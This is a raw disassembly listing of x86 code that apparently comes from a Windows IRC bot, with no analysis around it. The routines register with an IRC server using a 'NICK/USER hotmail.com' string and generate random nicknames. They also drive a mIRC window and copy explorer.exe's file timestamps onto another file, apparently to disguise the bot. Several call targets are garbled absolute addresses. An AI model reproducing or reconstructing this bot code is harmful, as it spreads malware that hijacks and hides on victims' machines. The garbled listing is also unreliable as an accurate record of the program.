		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4


loc_4178B4:				; CODE XREF: sub_4177D0+87j
		xor	eax, eax


loc_4178B6:				; CODE XREF: sub_4177D0+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BB	proc near		; DATA XREF: sub_417A60+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46F4[esi]
		mov	dword_4D46E8[esi], edi
		push	dword_4D48F4[esi]
		push	eax
		call	sub_417703
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46EC[esi], eax
		jb	loc_417A40
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADE
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB6A4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417997:				; CODE XREF: sub_4178BB+111j
					; sub_4178BB+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB66C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A40
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417997


loc_4179CE:				; CODE XREF: sub_4178BB+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F5
		cmp	al, 0Ah
		jz	short loc_4179F5
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F5
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2F
; ---------------------------------------------------------------------------


loc_4179F5:				; CODE XREF: sub_4178BB+11Cj
					; sub_4178BB+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2F
		push	dword_4D46EC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A40
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2F:				; CODE XREF: sub_4178BB+138j
					; sub_4178BB+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CE
		jmp	loc_417997
; ---------------------------------------------------------------------------


loc_417A40:				; CODE XREF: sub_4178BB+40j
					; sub_4178BB+107j ...
		mov	dword_4D46E8[esi], ebx
		mov	esi, dword_4D46EC[esi]
		cmp	esi, ebx
		jbe	short loc_417A57
		push	esi
		call	dword_4CB6EC


loc_417A57:				; CODE XREF: sub_4178BB+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A60	proc near		; CODE XREF: sub_401ACD+31E2p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD9


loc_417A72:				; CODE XREF: sub_417A60+77j
		xor	edi, edi
		mov	eax, offset dword_4D46E8


loc_417A79:				; CODE XREF: sub_417A60+28j
		cmp	[eax], ebx
		jz	short loc_417A8A
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DAE08
		jl	short loc_417A79


loc_417A8A:				; CODE XREF: sub_417A60+1Bj
		cmp	edi, 31h
		jz	short loc_417AD9
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46F4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48F4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46E8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BB
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A72


loc_417AD9:				; CODE XREF: sub_417A60+10j
					; sub_417A60+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADE	proc near		; CODE XREF: sub_401ACD+374Ep
					; sub_401ACD+3794p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B28
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385E8[edx*4]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B28:				; CODE XREF: sub_417ADE+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382E8[edx*4]


loc_417B41:				; CODE XREF: sub_417ADE+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB4
		cmp	esi, 3
		jnz	short loc_417BAB
		cmp	ebx, 1
		jz	short loc_417BB4


loc_417BAB:				; CODE XREF: sub_417ADE+C6j
		cmp	eax, 1
		jnz	loc_417C6E


loc_417BB4:				; CODE XREF: sub_417ADE+C1j
					; sub_417ADE+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		push	off_4385E8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5B
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5B
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5B
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5B:				; CODE XREF: sub_417ADE+111j
					; sub_417ADE+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6E:				; CODE XREF: sub_417ADE+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED6
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCD
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDC
		cmp	eax, 1
		jnz	loc_417DCD


loc_417CDC:				; CODE XREF: sub_417ADE+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1E
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D3A
; ---------------------------------------------------------------------------


loc_417D1E:				; CODE XREF: sub_417ADE+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D3A:				; CODE XREF: sub_417ADE+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D63
		cmp	eax, ebx
		jnz	short loc_417DCD


loc_417D63:				; CODE XREF: sub_417ADE+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA8
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC6
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417ADE+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC6:				; CODE XREF: sub_417ADE+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCD:				; CODE XREF: sub_417ADE+1C9j
					; sub_417ADE+1F8j ...
		cmp	esi, 6
		jge	loc_417E56
		cmp	esi, 5
		jge	short loc_417DEE
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_417E0C
; ---------------------------------------------------------------------------


loc_417DEE:				; CODE XREF: sub_417ADE+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_417E0C:				; CODE XREF: sub_417ADE+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2F
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4C
; ---------------------------------------------------------------------------


loc_417E2F:				; CODE XREF: sub_417ADE+335j
		cmp	eax, 1
		jnz	short loc_417E56
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h


loc_417E4C:				; CODE XREF: sub_417ADE+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E56:				; CODE XREF: sub_417ADE+2F2j
					; sub_417ADE+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		cmp	[ebp+var_C], eax
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED6:				; CODE XREF: sub_417ADE+1B1j
					; sub_417ADE+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEF	proc near		; CODE XREF: sub_401ACD+BECp
					; sub_401ACD+C29p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F7A
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F7A
		cmp	[ebp+arg_8], esi
		jz	short loc_417F7A
		cmp	byte ptr [eax],	0
		jz	short loc_417F7A
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F75
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6E
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6E:				; CODE XREF: sub_417EEF+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F75:				; CODE XREF: sub_417EEF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7C
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417EEF+Cj
					; sub_417EEF+13j ...
		xor	eax, eax


loc_417F7C:				; CODE XREF: sub_417EEF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F80	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB6
		or	eax, 0FFFFFFFFh
		jmp	short loc_418029
; ---------------------------------------------------------------------------


loc_417FB6:				; CODE XREF: sub_417F80+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD8


loc_417FC2:				; CODE XREF: sub_417F80+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCF
		cmp	dl, 0Dh
		jnz	short loc_417FD3


loc_417FCF:				; CODE XREF: sub_417F80+48j
		and	byte ptr [ecx+esi], 0


loc_417FD3:				; CODE XREF: sub_417F80+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC2


loc_417FD8:				; CODE XREF: sub_417F80+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418009
		lea	edi, [ebp+var_7CC]


loc_417FE5:				; CODE XREF: sub_417F80+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418004
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418004
		cmp	ebx, 1F4h
		jge	short loc_418009
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418004:				; CODE XREF: sub_417F80+69j
					; sub_417F80+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE5


loc_418009:				; CODE XREF: sub_417F80+5Dj
					; sub_417F80+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418027
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418027:				; CODE XREF: sub_417F80+8Ej
		mov	eax, ebx


loc_418029:				; CODE XREF: sub_417F80+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802D	proc near		; CODE XREF: sub_418087+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418066
		push	ebx
		mov	ebx, edi


loc_41804A:				; CODE XREF: sub_41802D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418069
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41804A
		pop	ebx


loc_418066:				; CODE XREF: sub_41802D+18j
		pop	edi
		pop	esi
		retn
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41802D+25p
					; sub_418087+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418084
		cmp	al, 7Ah
		jg	short loc_418084
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418084:				; CODE XREF: sub_418069+Ej
					; sub_418069+12j
		xor	eax, eax
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418087	proc near		; CODE XREF: ___:0041532Ep

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C5:				; CODE XREF: sub_418087+B6j
		test	esi, esi
		jle	short loc_418143
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813B


loc_4180EB:				; CODE XREF: sub_418087+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418069
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810C
		mov	eax, ecx


loc_41810C:				; CODE XREF: sub_418087+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EB


loc_41813B:				; CODE XREF: sub_418087+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C5
; ---------------------------------------------------------------------------


loc_41813F:				; CODE XREF: sub_418087+8Aj
		xor	eax, eax
		jmp	short loc_418148
; ---------------------------------------------------------------------------


loc_418143:				; CODE XREF: sub_418087+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418148:				; CODE XREF: sub_418087+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814D	proc near		; CODE XREF: sub_401ACD+67A4p
					; sub_401ACD+789Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26709D6h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp+var_100]


loc_418186:				; CODE XREF: sub_41814D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418192
		cmp	cl, 9
		jnz	short loc_418195


loc_418192:				; CODE XREF: sub_41814D+3Ej
		inc	eax
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_41814D+43j
					; sub_41814D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418195
		cmp	cl, 21h
		jl	short loc_418195


loc_4181AF:				; CODE XREF: sub_41814D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DAE0C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D7	proc near		; CODE XREF: sub_401ACD+24CBp
		push	esi
		push	0
		call	dword_4CB624
		test	eax, eax
		jz	short loc_41820E
		push	1
		call	dword_4CB644
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820E
		push	edi
		push	esi
		call	near ptr 27C05A5h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27C0000h
		call	dword_4CB6A8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820E:				; CODE XREF: sub_4181D7+Bj
					; sub_4181D7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418212	proc near		; CODE XREF: sub_401ACD+7662p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB660
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 27D01C4h
		nop
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 27D0000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB6B0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB6B0
		push	ebx
		nop
		call	near ptr 27C0B92h
		push	edi
		call	near ptr 265092Ah
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_418290
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418212+16j
		xor	eax, eax


loc_418290:				; CODE XREF: sub_418212+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418294	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	short loc_418333
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 27E0000h
		nop
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
